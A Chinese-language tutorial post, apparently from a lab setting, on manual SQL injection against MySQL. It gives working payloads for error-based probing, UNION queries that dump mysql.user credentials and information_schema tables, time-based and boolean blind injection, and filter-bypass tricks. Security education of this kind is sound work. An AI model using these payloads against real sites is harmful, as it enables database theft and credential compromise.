WEB安全攻防 sql手動注入

2021-10-02 22:49:39 字數 4169 閱讀 2536

1.1 sql注入介紹

sql注入就是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數時攻擊者可控的,並且引數代入資料庫查詢,攻擊者可以通過構造不同的sql語句來實現對資料庫的任意操作

sql注入漏洞需要滿足兩個條件:

a、引數使用者可控

b、引數帶入資料庫查詢,傳入的引數拼接到sql語句,並且帶入資料庫查詢

1.2 sql注入危害

a、資料庫敏感資訊洩露

b、頁面被篡改

c、資料庫被惡意操作

d、伺服器被遠端控制

1.3 sql注入分類

a、根據注入位置資料型別可將sql注入分為兩類:數字型和字串型(字串注入、數字注入)

b、根據返回結果可分:顯錯注入及盲注

1.4 sql注入的形成原因

a、資料與**未嚴格分離

b、使用者提交的引數資料未做充分檢查過濾及被帶入到sql命令中,改變原有sql指令,且被目標資料庫執行

1.5 sql注入過程說明

a、客戶端引數值等資料被修改

b、伺服器未經檢查和過濾即將被修改的資料注入到sql命令中,sql命令功能被修改

c、資料庫引擎執行被修改後的sql命令

d、客戶端根據上一次注入獲得到的敏感資訊構造注入語句進行下一步注入

e、伺服器將注入的結果返回給客戶端

2.1 get和post請求

a、get提交:請求的資料會新增在url之後,以?分割url和傳輸資料,多個引數用&連線

b、post提交:把提交的資料放到http包的包體中

2.2 顯錯注入:通過符號來確認get請求是否存在注入點

此圖中位址為

下圖位址增加 』

故錯誤中顯示: 『『1』』 limit 0,1』

則可初步推斷出sql語句為: select *** from ***x where id=『1』 limit 0,1

且可得知id為注入點

2.3 顯錯注入:通過order by 來判斷資料表列column

舉例:url: order by 4 --+

說明:舉例中 『表示開啟原有sql查詢,加入order by 4,從而達到變更查詢,–表示注釋後面原有sql語句,+表示空格

經過測試 order by 1、 order by 2、 order by 3 均執行正常,當order by 4 時 顯示介面為 unknown column 『4』 in 『order clause』,故可得到此位址資料表存在3列。

2.4 顯錯注入:通過union來查詢表明、欄位名、字段值

2.4.1 顯示資料賬號,密碼,連線ip

select

*from security.

`users`

where id=

0union

select1,

1,group_concat(host,

user

,password)

from mysql.

`user

`

sql注入方式:

union select 1,1,group_concat(host,user,password) from mysql.user–+

2.4.2 顯示當前表名稱

select

*from users where id=

0union

select1,

2,database

()

sql注入方式:

union select 1,2,database() --+

2.4.3 查詢mysql資料庫當前庫中所有表

select

*from security.

`users`

where id=

0union

select1,

1,group_concat(table_name)

from information_schema.

tables

where table_schema=

database

()

sql注入方式:

union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

2.4.4 查詢mysql資料庫當前庫中指定的字段

select

*from security.

`users`

where id=

0union

select1,

1,group_concat(column_name)

from information_schema.

`columns

`where table_schema=

database()

and table_name=

'users'

sql注入方式:

union select 1,1,group_concat(column_name) from information_schema.columnswhere table_schema=database() and table_name=『users』 --+

2.5 盲注

2.5.1 盲注介紹

blind sql(盲注)是注入攻擊的其中一種,向資料庫發生true或false這樣的問題,並根據應用程 序返回的資訊判斷結果。這種攻擊的出現是因為應用程式配置為只顯示常規錯誤,但並沒有 解決sql注入存在的**問題

2.5.1 盲注種類

a、布林型別

b、時間的盲注

2.5.2 get基於時間的盲注

通過時間延遲來判斷當前注入是否正確

select

if(ascii(substr(

database()

,1,1

))=113,1

,sleep(5)

)

上述sql語句中 substr(字串,開始,長度)表示取字段,取databases()所得到的資料表名稱的第乙個字母,將此字母通過ascii轉成數字後比對。if(條件,true,false)。

sql注入方式:

union if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+

2.5.3 get基於時間的布林盲注

基於布林的盲注,我們通常採用下面的辦法猜解資料庫名長度

select

(select length(

database()

)>

5)

sql注入方式:

or (select length(database())>5) --+

select

(select ascii(substr(

database()

,1,1

)))>

75

sql注入方式:

or (select ascii(substr(database(),1,1)))>75 --+

2.6 post注入

注入方式與get相同,一般post提交點於提交框中,並非是url欄。

2.6.1 post基於錯誤的注入特點

1.post請求不能被快取下來

2.post請求不會儲存在瀏覽器瀏覽記錄中

3.以post請求的url無法儲存為瀏覽器書籤

4.post請求沒有長度限制

3.1 大小寫繞過

如:-a、and 1=1

-b、order by 可以使用 order來進行繞過

3.2 雙寫繞過

如:uniunionon union替換為空,也可以結合大小寫繞過

3.3 編碼繞過

通過url編碼的方式

3.4 內聯注釋繞過

通過sql注釋

如:/!select/ * from users;

Web安全攻防筆記 SQL注入

information schema mysql5.0版本之後,mysql資料庫預設存放乙個information schema資料庫 information schema的三個表 schemata 該表中的字段schema name儲存該使用者建立的所有資料庫的庫名。tables 該表中的字段ta...

web安全攻防要點

graph lr web安全攻防要點 客戶端指令碼安全 客戶端指令碼安全 瀏覽器安全 客戶端指令碼安全 跨站指令碼攻擊xss 跨站指令碼攻擊xss 反射型 跨站指令碼攻擊xss 儲存型 跨站指令碼攻擊xss dom型 客戶端指令碼安全 跨站點偽造csrf 客戶端指令碼安全 點選挾持clickjack...

web安全攻防 sqlmap注入技術引數

sqlmap注入技術引數 sqlmap設定具體sql注入技術 引數 technique 此引數用於指定檢測注入時所用技術。預設情況下sqlmap會使用自己支援的全部技術進行 檢測。此引數後跟表 示檢測技術的大寫字母,其值為b e u s t或q,含義如下 b boolean based blind ...